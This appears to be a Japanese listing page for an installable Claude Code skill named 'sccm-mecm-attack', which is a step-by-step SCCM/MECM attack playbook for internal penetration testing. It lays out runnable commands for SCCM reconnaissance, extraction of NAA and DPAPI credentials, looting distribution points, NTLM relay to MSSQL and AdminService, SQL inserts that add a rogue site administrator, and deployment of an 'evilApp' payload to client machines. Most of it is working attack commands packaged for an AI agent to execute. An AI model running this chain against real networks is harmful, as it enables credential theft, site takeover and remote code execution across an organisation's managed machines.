sccm-mecm-attack について
sccm-mecm-attackは、SCCM/MECMのセキュリティ評価と攻撃手法をまとめたガイドです。社内ネットワークの侵入テスト担当者向けに、偵察、認証情報の取得、権限昇格、横展開の手順と関連ツールを説明します。
主な機能
- 01SCCMの構成とコンポーネントの整理
- 02DNS、LDAP、ツールによる偵察
- 03認証情報とポリシーの抽出方法
- 04サイト乗っ取りと権限昇格
- 05管理権限を使った横展開
活用シーン
- 01社内ネットワークのSCCMサイトと管理コンポーネントの列挙
- 02NAA、タスクシーケンス、配布ポイントのデータ露出評価
- 03許可されたテストでサイト権限とNTLMリレーのリスクを確認
- 04SCCM管理権限によるクライアント実行経路の確認
インストール
コマンドをコピーしてターミナルで実行します。
npx skills add https:/ / github.com/ wgpsec/ aboutsecurity --skill sccm-mecm-attackインストール後、Claude Code で/sccm-mecm-attackを入力して読み込まれたか確認します。
同梱ファイル
SKILL.md と一緒にインストールされる参考資料やスクリプト。
references/credential-harvesting.mdsccm-enumeration.mdsite-takeover.md詳細
SCCM/MECM 攻撃
発動条件
以下の状況で本スキルを使用します:
- 内部ネットワークで SCCM / MECM / ConfigMgr サービス(サイトサーバー、MP、DP)が見つかった
- DNS 列挙で
_mssms_mpまたは_mssms_sulSRV レコードが見つかった - Management Point(MP)または Distribution Point(DP)が見つかった
- 横方向の移動や認証情報の取得に SCCM を利用する必要がある
- BloodHound / LDAP 列挙で
mSSMSManagementPointオブジェクトが見つかった
前提条件
- ドメインユーザーの認証情報(一部の手法は匿名またはマシンアカウントに対応)
- ツール:SharpSCCM、sccmhunter、SCCMSecrets、pxethiefy、cmloot、ntlmrelayx
- ネットワーク接続:MP(TCP 80/443)、DP(TCP 80/443)、Site DB(TCP 1433)、SMS Provider(TCP 443)
SCCM アーキテクチャ早見表
| 役割 | 説明 | デフォルトポート | 主な識別情報 |
|---|---|---|---|
| Primary Site Server | 中核となる管理サーバー | - | SMS_SITE_COMPONENT_MANAGER を実行 |
| Management Point(MP) | クライアントポリシーの配布 | 80/443 | IIS CCM_* 仮想ディレクトリ |
| Distribution Point(DP) | コンテンツの配布 | 80/443 | SMS_DP$ 共有 / SCCMContentLib$ |
| Site Database | SQL Server のストレージ | 1433 | RBAC_Admins / RBAC_ExtendedPermissions |
| SMS Provider | WMI/AdminService API | 443 | AdminService REST API |
| CAS | 階層の最上位(複数サイト) | - | 複数の Primary を管理 |
判断ツリー
[开始] 发现 SCCM 基础设施
│
├─ 有域凭证?
│ ├─ 是 → Phase 1: SCCM 侦察
│ └─ 否 → PXE 启动介质 / 匿名注册尝试
│
├─ 凭证获取
│ ├─ 可注册设备或控制机器账号 → Phase 2: 秘密策略提取
│ └─ 已在 SCCM 客户端 → 本地 DPAPI 提取
│
├─ 权限提升
│ ├─ Client Push 启用 → Phase 3: 强制认证 relay
│ └─ 有 SCCM 管理员 → Phase 4: 横向移动
│
└─ 层级接管
└─ 多站点环境 → Phase 5: CAS 传播
フェーズ 1:SCCM の偵察
目標:SCCM インフラストラクチャのコンポーネントを発見し、識別します
1.1 DNS SRV レコードの検索
# 查找 Management Point
nslookup -type=SRV _mssms_mp._tcp.$DOMAIN
dig SRV _mssms_mp._tcp.$DOMAIN
# 查找 Software Update Point
nslookup -type=SRV _mssms_sul._tcp.$DOMAIN
1.2 LDAP 列挙
# 查找 Management Point 对象
([ADSISearcher]("objectClass=mSSMSManagementPoint")).FindAll() | % {$_.Properties}
# 查找 SCCM 相关 SPN
setspn -Q *SMS* | findstr /i "SMS"
setspn -Q *SCCM* | findstr /i "SCCM"
1.3 sccmhunter による自動偵察
# 发现 SCCM 基础设施
sccmhunter.py find -u $USER -p $PASSWORD -d $DOMAIN -dc-ip $DC_IP
# SMB 枚举确认角色
sccmhunter.py smb -u $USER -p $PASSWORD -d $DOMAIN -dc-ip $DC_IP
# 显示发现结果
sccmhunter.py show -smb
sccmhunter.py show -all
1.4 ローカル情報の収集
# 本地站点信息 (已安装 SCCM 客户端)
SharpSCCM.exe local site-info
# WMI 查询
Get-WmiObject -Class SMS_Authority -Namespace root\CCM
1.5 PXE 起動メディアの発見
# 探测 PXE 环境 (无需域凭证)
pxethiefy.py explore -i $INTERFACE
フェーズ 2:認証情報の取得
目標:NAA 認証情報、タスクシーケンスのパスワード、DP の機密ファイルを抽出します
2.1 NAA の抽出 — 新しいデバイスの登録
# HTTP MP — SCCMSecrets (推荐)
python3 SCCMSecrets.py policies -mp "http://$MP_IP" \
-u "$MACHINE_NAME" -p "$MACHINE_PASSWORD" -cn "newdevice"
# HTTPS MP (PKI 环境)
python3 SCCMSecrets.py policies -mp "https://$MP_IP" \
-u '$MACHINE_NAME' -p '$MACHINE_PASSWORD' -cn 'newdevice' \
--pki-cert ./cert.pem --pki-key ./key.pem
# NTLM relay 提取策略
ntlmrelayx.py -t 'http://$MP_IP/ccm_system_windowsauth/request' \
-smb2support --sccm-policies
# sccmhunter 自动化
sccmhunter.py http -u $USER -p $PASSWORD -d $DOMAIN -dc-ip $DC_IP -auto
# Windows — SharpSCCM
SharpSCCM.exe get secrets -r newdevice -u $MACHINE_NAME -p $PASSWORD
2.2 PXE 起動メディアのパスワード抽出
# Phase 1 发现 PXE 后,解密启动介质中的凭证
pxethiefy.py decrypt -f $PXE_MEDIA_FILE
2.3 NAA の抽出 — 既存デバイスの再利用
# 使用已攻陷设备的注册凭据
python3 SCCMSecrets.py policies -mp "http://$MP_IP" \
--use-existing-device compromised_device/
2.4 ローカル DPAPI の抽出
# SystemDPAPIdump (远程)
SystemDPAPIdump.py -creds -sccm $DOMAIN/$USER:$PASSWORD@$TARGET
# SharpSCCM 本地
SharpSCCM.exe local secrets disk
SharpSCCM.exe local secrets wmi
# SharpDPAPI
SharpDPAPI.exe SCCM
# mimikatz
dpapi::sccm
2.5 WMI の直接クエリ
# NAA 凭证 (加密 blob)
Get-WmiObject -Namespace ROOT\ccm\policy\Machine\ActualConfig \
-Class CCM_NetworkAccessAccount
# 任务序列变量
Get-WmiObject -Namespace ROOT\ccm\policy\Machine\ActualConfig \
-Class CCM_TaskSequence
2.6 Distribution Point のファイル収集
# SCCMSecrets — 按扩展名搜刮
python3 SCCMSecrets.py files -dp "http://$DP_IP" \
-u '$USER' -H '$HASH' \
--extensions '.txt,.xml,.ps1,.pfx,.ini,.conf'
# cmloot — 批量搜刮
python3 cmloot.py $DOMAIN/$USER@$TARGET \
-findsccmservers -target-file sccmhosts.txt \
-cmlootdownload sccmfiles.txt
フェーズ 3:権限昇格
目標:Client Push / Site DB / AdminService relay を通じてサイト管理者権限を取得します
3.1 Client Push による強制認証
原理:Client Push のインストールでは、高権限アカウントを使用してターゲットに NTLM 認証を開始し、別のターゲットにリレーします。
# 启动 relay
ntlmrelayx.py -smb2support -socks -ts -ip $ATTACKER_IP -t $TARGET
# 触发 Client Push
SharpSCCM.exe invoke client-push -t $TARGET --as-admin
3.2 サイトの乗っ取り — MSSQL Relay
原理:サイトサーバーのマシンアカウントは Site Database に対する sysadmin 権限を持っています。MSSQL にリレーした後、管理者を追加します。
# 步骤 1: 启动 MSSQL relay
ntlmrelayx.py -t "mssql://$SITE_DB" -smb2support -socks
# 步骤 2: 触发站点服务器认证 (Coercer / PetitPotam 等)
# 步骤 3: 通过 SOCKS 连接 SQL
proxychains mssqlclient.py "DOMAIN/$SITE_SERVER$"@"$SITE_DB" -windows-auth
-- 步骤 4: 注入 SCCM 管理员
-- 先获取目标用户 SID
USE CM_$SITE_CODE;
INSERT INTO RBAC_Admins (AdminSID, LogonName, DisplayName, IsGroup, IsDeleted, CreatedBy, CreatedDate, ModifiedBy, ModifiedDate, SourceSite)
VALUES ($ADMIN_SID, '$DOMAIN\$USER', '$DOMAIN\$USER', 0, 0, '', '', '', '', '$SITE_CODE');
INSERT INTO RBAC_ExtendedPermissions (AdminID, RoleID, ScopeID, ScopeTypeID)
VALUES ((SELECT AdminID FROM RBAC_Admins WHERE LogonName = '$DOMAIN\$USER'),
'SMS0001R', 'SMS00ALL', 29);
INSERT INTO RBAC_ExtendedPermissions (AdminID, RoleID, ScopeID, ScopeTypeID)
VALUES ((SELECT AdminID FROM RBAC_Admins WHERE LogonName = '$DOMAIN\$USER'),
'SMS0001R', 'SMS00001', 1);
INSERT INTO RBAC_ExtendedPermissions (AdminID, RoleID, ScopeID, ScopeTypeID)
VALUES ((SELECT AdminID FROM RBAC_Admins WHERE LogonName = '$DOMAIN\$USER'),
'SMS0001R', 'SMS00004', 1);
3.3 サイトの乗っ取り — AdminService Relay
# relay 到 SMS Provider AdminService
ntlmrelayx.py -t "https://$SMS_PROVIDER/AdminService/wmi/SMS_Admin" \
-smb2support --adminservice \
--logonname "$DOMAIN\\$USER" \
--displayname "$DOMAIN\\$USER" \
--objectsid $OBJECTSID
3.4 Passive → Active サイトサーバー Relay
# relay passive 站点服务器到 active 站点服务器
ntlmrelayx.py -t $ACTIVE_SERVER -smb2support -socks
# 通过 SOCKS dump hash
proxychains4 secretsdump.py $DOMAIN/$PASSIVE_SERVER\$@$ACTIVE_SERVER
# 以 active 站点服务器身份接管
sccmhunter.py admin -u $ACTIVE_SERVER\$ -p $LMHASH:$NTHASH -ip $SMS_PROVIDER_IP
フェーズ 4:横方向の移動
目標:SCCM 管理者権限を利用してクライアント上でコマンドを実行します
4.1 アプリケーションのデプロイ
# SharpSCCM — 指定资源 ID 执行
SharpSCCM.exe exec -rid $RESOURCE_ID -r $TARGET
4.2 PowerSCCM の完全なワークフロー
# 发现站点代码
Find-SccmSiteCode -ComputerName $SITE_SERVER
# 建立会话
$session = New-SccmSession -ComputerName $SITE_SERVER -SiteCode $SITE_CODE -Credential $CRED
# 创建恶意应用
New-SccmApplication -Session $session -ApplicationName "evilApp" \
-PowerShellB64 $ENCODED_PAYLOAD
# 部署到目标
New-SccmApplicationDeployment -Session $session -ApplicationName "evilApp" \
-AssignmentName "deploy" -CollectionName "target_collection"
# 强制客户端检入
Invoke-SCCMDeviceCheckin -Session $session -CollectionName "target_collection"
4.3 CMScript の実行
New-CMScriptDeployement -CMDrive 'E' -ServerFQDN '$SITE_SERVER' \
-TargetDevice '$TARGET' -Path '.\payload.ps1' -ScriptName 'evilScript'
4.4 AdminService API とのやり取り
# sccmhunter 管理控制台
sccmhunter.py admin -u "$USER" -p "$PASSWORD" -ip "$SITE_SERVER_IP"
# 交互命令: help, interact, ps, ls, cat, exec, etc.
フェーズ 5:階層の乗っ取り
目標:単一サイトから SCCM 階層全体へと範囲を広げます
5.1 CAS による自動伝播
いずれかの Primary サイトで追加された管理者は、CAS およびすべての子サイトに自動的に伝播します。フェーズ 3 を利用していずれかの Primary で add_admin を実行した後、レプリケーションが同期するまで待てば、すべてのサイトを制御できます。
# 在 sccmhunter admin 会话中
add_admin $DOMAIN\\$USER $ADMIN_SID
5.2 TAKEOVER-5:サイト間 AdminService Relay
複数サイトの環境では、リモート SMS Provider の AdminService にリレーして管理者を追加します。
ntlmrelayx.py -t "https://$REMOTE_SMS_PROVIDER/AdminService/wmi/SMS_Admin" \
-smb2support --adminservice \
--logonname "$DOMAIN\\$USER" \
--displayname "$DOMAIN\\$USER" \
--objectsid $OBJECTSID
注意:ConfigMgr 2509+ では、AdminService 上の NTLM 認証はデフォルトで拒否されます。この手法は旧バージョンでのみ使用できます。
よくある問題のトラブルシューティング
新しいデバイスを登録できない
- MP が HTTPS とクライアント証明書を要求している — PKI 証明書を取得するか、リレーする必要があります
- 自動承認が有効になっていない — 承認済みデバイスの認証をリレーしてみてください
- サイトの設定が「ドメイン参加済みデバイスのみ」になっている — 既存のマシンアカウントを使用する必要があります
NAA の抽出結果が空
- サイトで NAA が設定されていない(eNAA 環境)— タスクシーケンスの抽出を試してください
- NAA のパスワードが期限切れになっている — Collection Variables を確認してください
- WMI ポリシーがまだ配布されていない — ポリシーの更新サイクルを待ってください
Relay に失敗する
- ターゲットで SMB 署名が有効になっている — SMB へのリレーはできません。HTTP/MSSQL を使用してください
- EPA(Extended Protection for Authentication)— 回避するには TLS 証明書の秘密鍵が必要です
- ConfigMgr 2509+ では AdminService 上の NTLM が拒否される — MSSQL 経由の方法を使用する必要があります
ツールリファレンス
| ツール | 用途 | プラットフォーム |
|---|---|---|
| sccmhunter | SCCM の偵察/悪用/管理 | Linux |
| SharpSCCM | SCCM クライアントの悪用 | Windows |
| SCCMSecrets | ポリシー/NAA/DP の抽出 | Linux |
| pxethiefy | PXE 起動メディアの分析 | Linux |
| cmloot / sccm-http-looter | DP ファイルの収集 | Linux |
| ntlmrelayx | NTLM relay 攻撃 | Linux |
| PowerSCCM | SCCM の管理操作 | Windows |
詳細リファレンス
- → references/sccm-enumeration.md — SCCM の偵察方法とツールコマンドのリファレンス
- → references/credential-harvesting.md — 機密ポリシーの抽出、NAA/タスクシーケンス/DP の認証情報取得の詳細
- → references/site-takeover.md — サイトの乗っ取りと横方向の移動に関する一連の攻撃チェーン